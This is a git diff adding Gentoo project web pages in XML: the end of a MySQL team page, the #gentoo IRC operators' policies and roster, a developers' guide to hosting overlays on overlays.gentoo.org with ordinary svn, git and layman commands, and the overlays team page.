+<p>
+We provide regular status updates covering what the Gentoo MySQL Team has
+accomplished since the previous status update. It is written by one of
+the team members and contains a quick overview of recent progress.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Listing</title>
+<body>
+
+<p>
+The following status updates are available:
+</p>
+
+<p>
+The Gentoo MySQL Team has not published any status updates at this time.
+</p>
+
+<!--
+<ul>
+  <li><uri link="status/status_2006Q1.xml>Jan-March, 2006</uri></li>
+</ul>
+-->
+
+</body>
+</section>
+</extrachapter>
+
+<!-- Chapter regarding mailing list & participation -->
+<extrachapter>
+<title>Participating</title>
+<section>
+<title>#gentoo-db on irc.freenode.net</title>
+<body>
+
+<p>
+The best way to reach us is on IRC in the <uri
+link="irc://freenode/gentoo-db">#gentoo-db</uri> channel on irc.freenode.net.
+Please feel free to stop by to talk about MySQL on Gentoo. We welcome any
+suggestions for improvement.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Participating</title>
+<body>
+
+<p>
+The best way to get involved with what we do is to hang out in #gentoo-db.
+There are always things to be done (and exciting new ideas to turn into
+reality), and we're always looking for new ways to make Gentoo the first
+choice for developers working with MySQL, and for system administrators
+running it.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/ops/index.xml b/xml/htdocs/proj/en/ops/index.xml
new file mode 100644
index 00000000..6bbc5ce1
--- /dev/null
+++ b/xml/htdocs/proj/en/ops/index.xml
@@ -0,0 +1,214 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>ops</name>
+<longname>The #gentoo Operators Project</longname>
+<date>2009-08-20</date>
+<author title="Author">
+<mail link="jer" />
+</author>
+<author title="Editor">
+<mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+
+<description>
+The #gentoo Operators project describes the tasks and policies carried out by
+the operators of the #gentoo channel on the Freenode network.
+</description>
+
+<longdescription>
+<p>
+The #gentoo Operators project describes the tasks and policies carried out by
+the operators (ops) of the #gentoo channel on the Freenode network. Among other
+things, it aims to clarify the way #gentoo is run and by whom, who to address to
+resolve conflicts between channel ops and other channel users.
+</p>
+</longdescription>
+
+<goals>
+<p>
+The goal of the #gentoo operators project is to clarify how #gentoo is
+maintained. Most of the communication about actual channel management takes
+place on IRC, and this project aims to describe how we do it, and who we are.
+</p>
+</goals>
+
+<dev role="Member">a3li</dev>
+<dev role="Member">blackace</dev>
+<dev role="Member">fox2mike</dev>
+<dev role="Lead">jer</dev>
+<dev role="Member">neddyseagoon</dev>
+
+<extrachapter>
+<title>List of #gentoo Operators</title>
+<section>
+<body>
+
+<table>
+<tr><th>Nickname(s)</th><th>Real Name</th></tr>
+<tr><ti>astinus</ti><ti>Alex Howells</ti></tr>
+<tr><ti>avenj</ti><ti>Jon Portnoy</ti></tr>
+<tr><ti>kutsuya</ti><ti>Jason Shoemaker</ti></tr>
+<tr><ti>bonsaikitten, DrEeevil</ti><ti>Patrick Lauer</ti></tr>
+<tr><ti>BrianW</ti><ti></ti></tr>
+<tr><ti>doc</ti><ti>Dave O'Connor</ti></tr>
+<tr><ti>Fieldy</ti><ti></ti></tr>
+<tr><ti>hlieberman</ti><ti>Harlan Lieberman-Berg</ti></tr>
+<tr><ti>kojiro</ti><ti>Michael A. Smith</ti></tr>
+<tr><ti>moreon</ti><ti>Daniel Lynch</ti></tr>
+<tr><ti>roger55</ti><ti>Roger Miliker</ti></tr>
+<tr><ti>seemant</ti><ti>Seemant Kulleen</ti></tr>
+<tr><ti>SwifT</ti><ti>Sven Vermeulen</ti></tr>
+<tr><ti>RiverRat</ti><ti>Tres Melton</ti></tr>
+</table>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Tasks of the Ops Team</title>
+<section>
+<body>
+
+<table>
+	<tr><th>Task</th>
+		<th>Description</th>
+	</tr>
+	<tr>
+		<ti>Chanserv access levels</ti>
+		<ti>Chanserv access levels determine who gets which privileges
+		in #gentoo (and #gentoo-ops).</ti>
+	</tr>
+	<tr>
+		<ti>Channel etiquette management</ti>
+		<ti>#gentoo has a language policy that the ops uphold.
+		Furthermore, the channel's topic is <e>Gentoo Linux support</e>
+		and it is not a "chat" channel &mdash; ops may direct users to
+		other channels that are more appropriate when a discussion has
+		little or nothing to do with Gentoo Linux support. Public away
+		messages are to be actively discouraged.</ti>
+	</tr>
+	<tr>
+		<ti>Abuse management</ti>
+		<ti>When a user abuses #gentoo, he gets warned, muted (+q),
+		banned or banforwarded. Conflicts are resolved in #gentoo-ops.
+		Bans may normally only be unset by the banner &mdash; she has a
+		responsibility to set reasonable bans.</ti>
+	</tr>
+	<tr>
+		<ti>Topic updates</ti>
+		<ti>When many users come to the channel having the same
+		technical issue with Gentoo, the channel's topic is updated with
+		references to bot FAQs or web page URLs.</ti>
+	</tr>
+	<tr>
+		<ti>Bot FAQs</ti>
+		<ti>#gentoo has two official ircbots: Willikins and
+		Naamah. While the latter mainly serves to kick users who paste
+		more than a few lines in rapid succession (flood protection),
+		the former also responds to simple commands regarding packages,
+		herds, website searches and other general information.</ti>
+	</tr>
+</table>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Channel management</title>
+<section>
+<body>
+<p>Compared to most IRC channels on Freenode and indeed on other IRC networks,
+#gentoo has a rather strict policy, and this policy is enforced as strictly as
+possible. #gentoo is the focal point of many support enquiries and can be very
+busy at times. Because of the many (often ~1000) users that chat (and lurk) in
+#gentoo, making it one of the largest channels on the Freenode network, and
+perhaps also because of the mild animosity that any Linux distribution causes
+among users of other Linux distributions, it is also the focal point of
+spammers, pranksters, and trolls.</p>
+<p>The policy set up to manage #gentoo is therefore very straightforward and
+simple:</p>
+<ul>
+	<li>The topic of the channel is Gentoo Linux support. To be precise,
+	this means the Gentoo Linux that you install using the <uri
+	link="/doc/en/handbook/">Gentoo Handbook</uri>.  Alternative operatings
+	systems (where the difference may be in, for example, the kernel,
+	userland, or package manager) do not fall into this category.</li>
+	<li>The lack of support for alternative package managers extends to
+	"manual installation", i.e.  working around the official package
+	manager by manually downloading sources and unpacking, configuring,
+	compiling, and installing (normally to <path>/usr/local</path>).</li>
+	<li>Actual chat (such as personal stories, comments on external events,
+	even mild flamewars about program X versus program Y) will usually be
+	met with a request to take the discussion elsewhere, and consequent
+	muting (+q) or banishment if users persist.</li>
+	<li>Discussion of #gentoo management is off topic. The appropriate place
+	to discuss matters of #gentoo policy and its enforcement is #gentoo-ops,
+	the userrel project or the ops mailing list (and not #gentoo: it's just
+	too busy for that).</li>
+	<li>Because of the varied nature of Gentoo users and the varied
+	environments in which they might use #gentoo, the channel has a strict
+	language policy, meaning that anything you wouldn't dare say to your
+	proverbial grandmother, you shouldn't say in #gentoo.</li>
+</ul>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Participating</title>
+<section>
+<body>
+<p>Both Gentoo developers and users can become #gentoo ops.  The selection
+process basically works as in any other Gentoo project: if you put in the work,
+helping users in #gentoo, you are certain to get noticed and may get asked to
+join the team.</p>
+<p>Operator status in #gentoo is not intended as a status symbol: operators are
+given privileges only to effectively uphold service standards in #gentoo.
+Regular contributors may be given AUTOVOICE (level 10), so they have voice in
+the channel even when the channel mode mutes other users. Regular contributors
+who are interested in maintaining channel security may be given CMDOP (level
+20) to "op up" when needed. Operators (level 20 and above) who are not
+developers and developers who are also operators are listed in this document.
+</p>
+<p>Operator status can be removed after a period of inactivity or not using
+level 20 privileges for a good while (say a couple of months).</p>
+<p>Operator status does not automatically mean membership of the team and
+vice versa.</p>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>How to contact us</title>
+<section>
+<title>Via e-mail</title>
+<body>
+
+<p>
+To send e-mail to the #gentoo operators team, point your favourite e-mail
+client to ops@gentoo.org.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>On Freenode</title>
+<body>
+<p>
+/join #gentoo-ops if you want to chat directly with #gentoo operators. Also, any
+urgent issues with regard to #gentoo channel management (abuse, pointers to
+important bugs that affect many users) should be brought to our attention there.
+</p>
+</body>
+</section>
+
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/overlays/devguide.xml b/xml/htdocs/proj/en/overlays/devguide.xml
new file mode 100644
index 00000000..f9092082
--- /dev/null
+++ b/xml/htdocs/proj/en/overlays/devguide.xml
@@ -0,0 +1,592 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/overlays/devguide.xml">
+<title>Gentoo Overlays: Developers' Guide</title>
+
+<author title="Author">
+  <mail link="stuart">Stuart Herbert</mail>
+</author>
+<author title="Author">
+  <mail link="jokey">Markus Ullmann</mail>
+</author>
+<author title="Author">
+  <mail link="robbat2">Robin H. Johnson</mail>
+</author>
+
+<abstract>This guide helps developers understand how to use the Gentoo
+Overlays service.</abstract>
+
+<license/>
+
+<version>2.3</version>
+<date>2009-01-18</date>
+
+<chapter>
+<title>Introduction</title>
+
+<section>
+<title>Audience</title>
+<body>
+<p>This document has been written for Gentoo developers and Gentoo staff members.  If you are a Gentoo user, or you just want to start downloading and using overlays, please see <uri link="/proj/en/overlays/userguide.xml">the Gentoo Overlays User Guide</uri> instead.</p>
+</body>
+</section>
+
+<section>
+<title>Who Can Use overlays.gentoo.org?</title>
+<body>
+<p>Any Gentoo project, or Gentoo developer, can have their own overlay hosted on (git.)overlays.gentoo.org, with the RSS feed from the changelog included on <uri link="http://overlays.gentoo.org">the overlays.gentoo.org planet</uri>.</p>
+
+<p>Any User can download and use the contents of any hosted
+overlay.  If you choose, you can also give users write access to your
+overlay.</p>
+</body>
+</section>
+
+<section>
+<title>What Does overlays.gentoo.org Give Me?</title>
+<body>
+<p>The (git.)overlays.gentoo.org service currently provides:</p>
+<ul>
+<li><uri link="http://trac.edgewall.com">Trac</uri> (a wiki w/ integrated subversion browser), for quickly creating and maintaining documentation about your Subversion based overlay</li>
+<li>Publishing the changelog for your overlay on <uri link="http://overlays.gentoo.org/">the o.g.o homepage</uri>, so that everyone who's interested can see what's going on</li>
+<li><uri link="http://git.or.cz/gitwiki/Gitweb">gitweb</uri> - provides full-fledged web interface for viewing Git repositories.</li>
+</ul>
+
+<p>... all hosted on secure, backed-up Gentoo infrastructure, administered by
+<uri link="/proj/en/infrastructure">the Gentoo Infrastructure team</uri> (hardware / base OS) and <uri link="/proj/en/overlays">the Gentoo Overlays team</uri>
+(wiki / VCS / ACLs).</p>
+
+<p>Each overlay has separate authentication lists for Trac, Subversion and Git.
+It's no problem at all to give someone write access to just Trac (e.g. for
+writing documentation) without giving them write access to Subversion.</p>
+</body>
+</section>
+
+<section>
+<title>Why Should We Use overlays.gentoo.org?</title>
+<body>
+<p>You don't have to.  You don't have to have an overlay at all, and if you do
+have one, you are absolutely free to host your own overlay somewhere else.
+You don't have to host an overlay on o.g.o for it to be considered
+"official".</p>
+
+<p>The advantage of using overlays.gentoo.org is that we already have everything
+setup for you.  You don't need to admin your own server, or worry about
+software upgrades.  We take care of all of that for you.</p>
+</body>
+</section>
+
+<section>
+<title>When Should We Not Use overlays.gentoo.org?</title>
+<body>
+<p>The purpose of o.g.o is to help bridge the gap between developers and users.
+Gentoo is a community-based distribution, and we believe that our users are
+just as important a part of that community as developers are.</p>
+
+<p>All of the overlays hosted on o.g.o are there for all users to download and
+use.  It's for users to make their own decision about what software they
+install on their computers - and that includes choosing to use your overlay.
+Some users will make bad decisions, and end up breaking their computer.  They
+may even end up blaming Gentoo as a result.  That's okay; these people
+probably go around blaming everyone but themselves for their own
+mistakes anyway, and there's probably nothing you can do to change that.
+But that still doesn't give any of us the right to choose for them.</p>
+
+<p>Users are free (in fact, they are encouraged) to provide constructive
+feedback about anything to do with Gentoo - including all of the overlays
+hosted on o.g.o.  That feedback can come via bugs.g.o, via email to your
+project team or directly to you, via the forums, or via IRC.  We're not
+talking about genuinely abusive users; we have no time for those, and no-one
+expects you to have any time for them either.</p>
+
+<warn>If you're not happy with users using your overlay, and / or if you don't want
+users bothering you about your overlay, then don't use o.g.o to host your
+overlay.</warn>
+
+<p>o.g.o used to have restrictions of not being the $UPSTREAM for packages.
+This restriction has been adjusted. We do offer hosting as the $UPSTREAM now,
+but only for packages that are Gentoo-specific or important to the running of
+Gentoo. Other hosting may be more suitable, some services in this vein are:
+<uri link="http://www.sourceforge.net/">SourceForge.net</uri>, <uri
+link="http://www.berlios.de">Berlios</uri>, or Patrick's <uri
+link="http://www.gentooexperimental.org">GentooExperimental.org</uri>.</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Requesting An Overlay</title>
+
+<section>
+<title>Introduction</title>
+<body>
+<p>There are two types of overlay - "project" overlays, and "developer"
+overlays.  The only difference between them is responsibility and
+accountability.</p>
+
+<impo>Before requesting an overlay, please make sure that you have read our <uri link="/proj/en/overlays/policy.xml">Policy Document</uri>.  It clearly sets out what's allowed and what is not, and what your responsibilities will be.</impo>
+</body>
+</section>
+
+<section>
+<title>Project Overlays</title>
+<body>
+<p>"Project" overlays are overlays for official Gentoo projects.  An example is <uri link="http://overlays.gentoo.org/proj/php">the PHP Overlay</uri>.</p>
+
+<p>An official Gentoo project is a project that has a project page on
+www.gentoo.org, and that has an elected lead.  (This definition comes from the
+metastructure document).  The project lead(s) are responsible for the project overlay, including its contents, and any problems it causes other Gentoo projects and developers.</p>
+
+<p>To request a SVN project overlay, the project's lead just needs to pop into
+#gentoo-overlays on IRC and ask for an overlay to be created.  Or, if he/she
+prefers, drop an email to overlays@gentoo.org.  We'll take care of the rest,
+including granting write access to all the members of your project (as listed
+on your project page).</p>
+
+<p>To request a Git project overlay, just visit the <uri
+link="http://git.overlays.gentoo.org">git.overlays</uri> site, and follow the
+setup instructions, emailing the completed template as directed.</p>
+
+<p>For an SVN request, we will:</p>
+<ul>
+<li>create your overlay (trac site + svn)</li>
+<li>add your overlay's RSS feed to the o.g.o homepage</li>
+<li>create an o.g.o account for you if you don't already have one</li>
+<li>give you write access to your overlay's Trac wiki and Subversion
+repository</li>
+<li>give write access to all project members who already have an o.g.o
+account</li>
+</ul>
+
+<p>For an Git request, we will:</p>
+<ul>
+<li>create your overlay (git, gitweb, no trac)</li>
+<li>add your overlay's RSS feed to the o.g.o homepage</li>
+<li>create an git.o.g.o account for you if you don't already have one</li>
+<li>give you write access to your overlays Git repository</li>
+<li>give write access to all project members who already have an o.g.o account</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Developer Overlays</title>
+<body>
+
+<p>"Developer" overlays are overlays owned by individual Gentoo developers.  One
+ example is <uri link="http://overlays.gentoo.org/dev/beandog">beandog's overlay</uri>.</p>
+
+<p>If you have an @gentoo.org email address, and you've passed the ebuild quiz,
+then you can have your own developer overlay on o.g.o.</p>
+
+<p>To request a SVN developer overlay, just pop into #gentoo-overlays on IRC
+and ask for an overlay to be created for you.  Or, if you prefer, drop an email
+to overlays@gentoo.org.</p>
+
+<p>To request a Git developer overlay, just visit the <uri
+link="http://git.overlays.gentoo.org">git.overlays</uri> site, and follow the
+setup instructions, emailing the completed template as directed.</p>
+
+<p>For an SVN request, we will:</p>
+<ul>
+<li>create your overlay (trac site + svn)</li>
+<li>add your overlay's RSS feed to the o.g.o homepage</li>
+<li>create an o.g.o account for you if you don't have one already</li>
+<li>give you write access to your overlay's Trac wiki and Subversion
+repository</li>
+</ul>
+
+<p>For an Git request, we will:</p>
+<ul>
+<li>create your overlay (git, gitweb, no trac)</li>
+<li>add your overlay's RSS feed to the o.g.o homepage</li>
+<li>create an git.o.g.o account for you if you don't already have one</li>
+<li>give you write access to your overlays Git repository</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>A Word About Accounts</title>
+<body>
+<p>Because o.g.o is designed to support a blend of both Gentoo developers and
+Gentoo users, we don't create 'real' system-level accounts on the o.g.o host.
+</p>
+
+<impo>You do *not* have SSH access to o.g.o.</impo>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Working With Your Overlay</title>
+
+<section>
+<title>Introduction</title>
+<body>
+<p>You can access your overlay as soon as it has been created.  Project and
+developer overlays have different URLs, so that everyone can tell one from the
+other, but otherwise they are identical in every way.</p>
+
+<p>There are *no* read restrictions on overlays or wikis.  Everyone has full
+read access to all overlays and wikis.  If you need a 'secret' overlay of some
+kind, then o.g.o is not for you.</p>
+</body>
+</section>
+
+<section>
+<title>Accessing Project Overlays</title>
+<body>
+<p>If your project overlay is called 'foo', your Trac wiki site will be
+here: http://overlays.gentoo.org/proj/foo/</p>
+
+<p>To checkout your Subversion repository, use:</p>
+<pre caption="Checkout your project overlay">svn co https://overlays.gentoo.org/svn/proj/foo/</pre>
+
+<p>While you may perform read-only actions via unsecure HTTP, you must perform
+all commits via HTTPS. If you need to switch between modes, use:</p>
+<pre caption="Switching your project overlay from HTTP to HTTPS">svn sw --relocate http://overlays.gentoo.org/svn/proj/foo/ https://overlays.gentoo.org/svn/proj/foo/</pre>
+
+<p>We maintain <uri link="http://overlays.gentoo.org/proj/">a full list of project overlays hosted on overlays.gentoo.org</uri>.</p>
+</body>
+</section>
+
+<section>
+<title>Accessing Developer Overlays</title>
+<body>
+<p>If your Gentoo email address is 'foo@gentoo.org', your Trac wiki site will be
+here: http://overlays.gentoo.org/dev/foo/</p>
+
+<p>To checkout your Subversion repository, use:</p>
+<pre caption="Checkout your developer overlay">svn co https://overlays.gentoo.org/svn/dev/foo/</pre>
+
+<p>While you may perform read-only actions via unsecure HTTP, you must perform
+all commits via HTTPS. If you need to switch between modes, use:</p>
+<pre caption="Switching your developer overlay from HTTP to HTTPS">svn sw --relocate http://overlays.gentoo.org/svn/dev/foo/ https://overlays.gentoo.org/svn/dev/foo/</pre>
+
+<p>We maintain <uri link="http://overlays.gentoo.org/dev/">a full list of developer overlays hosted on overlays.gentoo.org</uri>.</p>
+</body>
+</section>
+
+<section>
+<title>Getting Started With Trac</title>
+<body>
+<p>Your overlay comes with <uri link="http://trac.edgewall.com">Trac</uri>.  Trac is a wiki, a subversion repository browser, and a bug tracking system that's
+very popular with open source developers.</p>
+
+<p>We have disabled the bug tracking system in Trac.  Use <uri link="http://bugs.gentoo.org">Gentoo's bugzilla</uri> for bug tracking your overlay.</p>
+
+<p>Your overlay's RSS feed - the one that is shown on <uri link="http://overlays.gentoo.org">the o.g.o homepage</uri> - comes from Trac's Timeline page or GitWeb's summary.</p>
+
+</body>
+</section>
+
+<section>
+<title>Getting Started With Subversion</title>
+<body>
+<p>The advantages of Subversion over CVS include real versioning of directories, full changeset support, and it's much easier to do branching if you need to.  The main disadvantage of Subversion is that it is slower than CVS, and that a local Subversion checkout requires more disk space.</p>
+
+<p>If you have never used Subversion before, the online book is an excellent way to learn Subversion.  You can buy it in dead-tree format too if you prefer.</p>
+
+<p>Here are some basic commands to get you started.</p>
+<pre caption="Checking out your overlay">svn co https://overlays.gentoo.org/proj/php</pre>
+<pre caption="Seeing which files need committing">svn status</pre>
+<pre caption="Adding files to your overlay">svn add my.ebuild</pre>
+<pre caption="Committing your changes">svn commit -m 'My changelog entry'</pre>
+
+</body>
+</section>
+
+<section>
+<title>Layman</title>
+<body>
+<p>We are telling users to use layman to download and manage your overlay.
+layman is a utility written by <mail link="wrobel@gentoo.org">Gunnar Wrobel</mail> which makes it very easy for users to work with overlays.</p>
+
+<p>
+To get started with using layman, see <uri
+link="http://layman.sourceforge.net/">the homepage documentation</uri>, the <uri
+link="http://www.gentoo.org/news/en/gwn/20060522-newsletter.xml">Gentoo Weekly
+News for 22nd May</uri> or read <c>man layman</c>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Auto-Sync From Portage</title>
+<body>
+<p>Your packages in the Portage tree are always at risk of being changed without
+you knowing about it in advance.  Arch teams need to be able to keyword
+packages (and fix arch-specific brokenness), the QA team fix perceived
+standards violations, and occaisionally developers will edit packages that
+they shouldn't.</p>
+
+<p>You need to make sure that the changes made in Portage aren't lost the next
+time you copy your packages from your overlay back into Portage.</p>
+
+<p>The PHP team have solved this problem by automatically copying their packages
+from Portage back into a 'portage' branch of their overlay every night.  They
+can then use Subversion (or Trac's timeline) to see what has changed every day.</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Using git on overlays</title>
+
+<section>
+<title>Initializing your overlay</title>
+<body>
+<p>Before uploading you need to locally create a git repository and add all items:</p>
+<pre caption="go to your overlay">cd ~/my-overlay</pre>
+<pre caption="create a new git repo">git init
+git add .
+git commit -m "populate overlay"</pre>
+<p>Note that this commit was only locally, now we get the server into the game.</p>
+<pre caption="tell git the url">git remote add origin git+ssh://git@git.overlays.gentoo.org/(proj or dev)/(name)</pre>
+<pre caption="finally get it up there">git push origin master</pre>
+<p>Source: http://www.kernel.org/pub/software/scm/git/docs/tutorial.html</p>
+</body></section>
+
+<section>
+<title>Checking out the overlay with git</title>
+<body>
+<pre caption="clone it!">git clone git://git@git.overlays.gentoo.org/(proj or dev)/(name)/</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Giving Access To Your Overlay To Others</title>
+
+<section>
+<title>Introduction</title>
+<body>
+<p>One of the key features of o.g.o is that people who do not have write access
+to the Gentoo Portage package tree can have write access to one or more
+overlays.  Several Gentoo projects have found that this is a great way to train
+and evaluate potential Gentoo developers in a safe environment.</p>
+</body>
+</section>
+
+<section>
+<title>Project Overlays: Giving Write Access To Team Members</title>
+<body>
+<p>Any developer listed on a team's project page on www.g.o can have write 
+access to the team's overlay.  The project lead can ask on their behalf, or
+the developer can come and ask for access themselves.</p>
+
+<p>If the developer doesn't have an o.g.o account yet, he/she will need to drop
+by #gentoo-overlays so that we can create an account for them.</p>
+</body>
+</section>
+
+<section>
+<title>Project Overlays: Giving Write Access To Other Gentoo
+Developers</title>
+<body>
+
+<p>Any Gentoo developer *not* listed on a team's project page on www.g.o can
+have write access to the team's overlay.  The request for write access must
+come from a member of the team.  It doesn't have to come from the project
+lead.</p>
+
+<p>If the developer doesn't have an o.g.o account yet, he/she will need to drop
+by #gentoo-overlays so that we can create an account for them.</p>
+</body>
+</section>
+
+<section>
+<title>Project Overlays: Giving Write Access To Gentoo Users</title>
+<body>
+<p>Any Gentoo user can have write access to the team's overlay.  The request for
+write access must come from one of the project's leads.  You can request that
+we give the user write access to Trac, to Subversion, or to both.  (We will
+assume that the request is for write access to both, unless you say
+otherwise).</p>
+
+<p>We cannot accept these requests from anyone other than a project lead.  If
+your project only has the one lead, we recommend electing a second lead.  If
+your one and only lead is AWOL, consider electing a replacement :)</p>
+
+<p>If the user doesn't have an o.g.o account yet, he/she will need to drop by
+#gentoo-overlays so that we can create an account for them.</p>
+</body>
+</section>
+
+<section>
+<title>Developer Overlays: Giving Write Access To Gentoo Developers</title>
+<body>
+<p>Any Gentoo developer can have write access to your developer overlay.  The
+developer can ask us directly; we will not give access until we've checked
+with you.  You can also ask us to give write access to any named
+developer.</p>
+
+<p>If the developer doesn't have an o.g.o account yet, he/she will need to drop
+by #gentoo-overlays so that we can create an account for them.</p>
+</body>
+</section>
+
+<section>
+<title>Developer Overlays: Giving Write Access To Gentoo Users</title>
+<body>
+<p>Any Gentoo user can have write access to your developer's overlay.  The
+request for write access must come from you.  You can request that we give
+the user write access just to Trac, just to Subversion, or to both.  (We will
+assume that the request is for write access to both unless you say
+otherwise).</p>
+
+<p>We cannot accept these requests from anyone else other than you.  If you find
+yourself giving access to a lot of other people, it might be that you should
+consider setting up a new project, and transfering your work there
+instead.</p>
+
+<p>If the user doesn't have an o.g.o account yet, he/she will need to drop by
+#gentoo-overlays so that we can create an account for them.</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Accessing Someone Else's Overlay</title>
+
+<section>
+<title>Using An Overlay</title>
+<body>
+<p>Everyone has full read access to every overlay.  We recommend that you
+use</p>
+<pre caption="Install layman">
+  emerge layman
+  echo 'source /usr/portage/local/layman/layman.conf' &gt;&gt; /etc/make.conf
+</pre>
+
+<note>
+Layman will create "/usr/portage/local/layman/make.conf" once you add
+your first overlay. But if you do not plan to install an overlay
+immediately you should ensure that this file actually exists and
+contains the empty variable "PORTDIR_OVERLAY". Otherwise portage will
+complain. You can run "echo PORTDIR_OVERLAY=\"\" >
+/usr/portage/local/layman/make.conf" in order to have the file created
+correctly.
+</note>
+
+<p>After that, to view the list of overlays, use</p>
+
+<pre caption="List overlays that layman knows about">layman -L</pre>
+
+<p>To install an overlay, use</p>
+<pre caption="Install an overlay">layman -a &lt;overlay-name&gt;</pre>
+
+<p>You can now install packages from the overlay.</p>
+</body>
+</section>
+
+<section>
+<title>Requesting Write Access</title>
+<body>
+<p>If you want write access to a project overlay, contact a member of the
+project team, and ask them for access.  If they approve your request, they
+will arrange for you to have write access, by contacting the Overlays
+team.</p>
+
+<p>If you want write access to a developer's overlay, contact the developer
+directly, and ask them for access.  If they approve your request, they will
+arrange for you to have write access, by contacting the Overlays team.</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Frequently Asked Questions</title>
+
+<section>
+<title>o.g.o Administration</title>
+<body>
+
+<p>Q: How do I contact the o.g.o admin staff?</p>
+<ul>
+<li>A: You can pop into #gentoo-overlays on IRC, and talk to us there.  The
+   current staff are mostly in European timezones.</li>
+<li>A: You can send an email to overlays@gentoo.org.  Someone will answer you as
+   soon as possible.</li>
+</ul>
+
+<p>Q: Why can't I edit the access control list directly?</p>
+<ul>
+<li>A: (SVN) The access control list currently lives in htpasswd format.  Only o.g.o admin staff members have ssh access to the o.g.o box.</li>
+<li>A: (Git) The access control list currently lives in the gitosis-admin repository, which is writable only by the o.g.o staff.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Security</title>
+<body>
+<p>Q: Is my overlay available via https?</p>
+<ul>
+<li>A: Yes, it is.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Multiple Overlays</title>
+<body>
+
+<p>Q: Can I have multiple overlays?</p>
+<ul>
+<li>A: Yes, in a fashion.  Inside your overlay, you can create
+sub-directories, and put separate package trees inside those sub-directories.
+Please take a look at the PHP project overlay for an example.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Importing Existing Overlays</title>
+<body>
+<p>Q: I already have an overlay, and I'd like to move it to o.g.o.  How do I
+go about doing that?</p>
+<ul>
+<li>A: Create a tarball of your subversion repository, and put it somewhere
+where it can be downloaded via http.  We'll download it and install it onto
+o.g.o for you.</li>
+</ul>
+<note>Make sure you tar up your repository, and not a checkout!</note>
+
+<p>Q: I have an overlay, but it doesn't use Subversion.  How do I go about
+moving it to o.g.o?</p>
+<ul>
+<li>A: Ask us to create a new, empty overlay for you.  You can then use 'svn
+import' to import your files into the new overlay.  You'll lose your history,
+but that can't be helped.</li>
+<li>A: Search the Internet, and see if there is a tool to convert from your
+existing version control software to Subversion.  If there is, use that, and
+then we can help you move it to o.g.o.</li>
+<li>A: If your version control software is used by Trac, and it can be used
+over HTTP, come and help us add
+support for your version control software on o.g.o.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>"Official" Overlays</title>
+<body>
+<p>Q: When is an overlay considered "official"?</p>
+<ul>
+<li>A: An "official" overlay is an overlay managed by a Gentoo project (for
+project overlays) or a Gentoo developer (for developer overlays).</li>
+</ul>
+
+<p>Q: Does an overlay have to be on o.g.o to be "official"?</p>
+<ul>
+<li>A: No.</li>
+</ul>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/overlays/index.xml b/xml/htdocs/proj/en/overlays/index.xml
new file mode 100644
index 00000000..d14058f6
--- /dev/null
+++ b/xml/htdocs/proj/en/overlays/index.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Overlays</name>
+<longname>Gentoo Overlays Team</longname>
+<date>2008-10-30</date>
+
+<description>
+The Gentoo Overlays team is responsible for the administration and overlays.gentoo.org website.
+</description>
+
+<longdescription>
+
+<p>
+<b>What we do, and who we are</b>
+</p>
+
+<p>
+The Gentoo Overlays team looks after (git.)overlays.gentoo.org.  We work with infra to provide the service to Gentoo projects and developers.  We create and administer individual overlays.  We keep abreast of changes in the needs of anyone running an overlay, so that we can keep the service useful to everyone who wants to use it.
+</p>
+
+</longdescription>
+
+<goals><p>
+Our goal is to provide a central home for overlays.
+</p></goals>
+
+<!-- Developer Roles -->
+<dev role="Lead" description="Trac, Git, SVN">jokey</dev>
+<dev role="Member" description="Git">robbat2</dev>
+<dev role="Member" description="SVN, Trac">rbu</dev>
+<dev role="Member" description="Sunrise Passwords">tommy</dev>
+<dev role="Member" description="Git">sping</dev>
+<dev role="Member" description="Git, SVN">tampakrap</dev>
+
+<!-- Project Specific Pages/Documentation -->
+<resource link="policy.xml">The Overlays Policy</resource>
+<resource link="devguide.xml">Developers' Guide To Gentoo Overlays (work in progress)</resource>
+<resource link="userguide.xml">Users' Guide To Gentoo Overlays (work in progress)</resource>
+
+<!-- Subprojects -->
+<!--subproject ref="/proj/en/gdp/international.xml"/-->
+
+<!-- Chapter regarding mailing list & participation -->
+<extrachapter>
+<title>Participating</title>
+<section>
+<title>#gentoo-overlays on irc.freenode.net</title>
+<body>
+
+<p>
+The best way to reach us on IRC is the <uri 
+link="irc://freenode/gentoo-overlays">#gentoo-overlays</uri> channel on irc.freenode.net.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
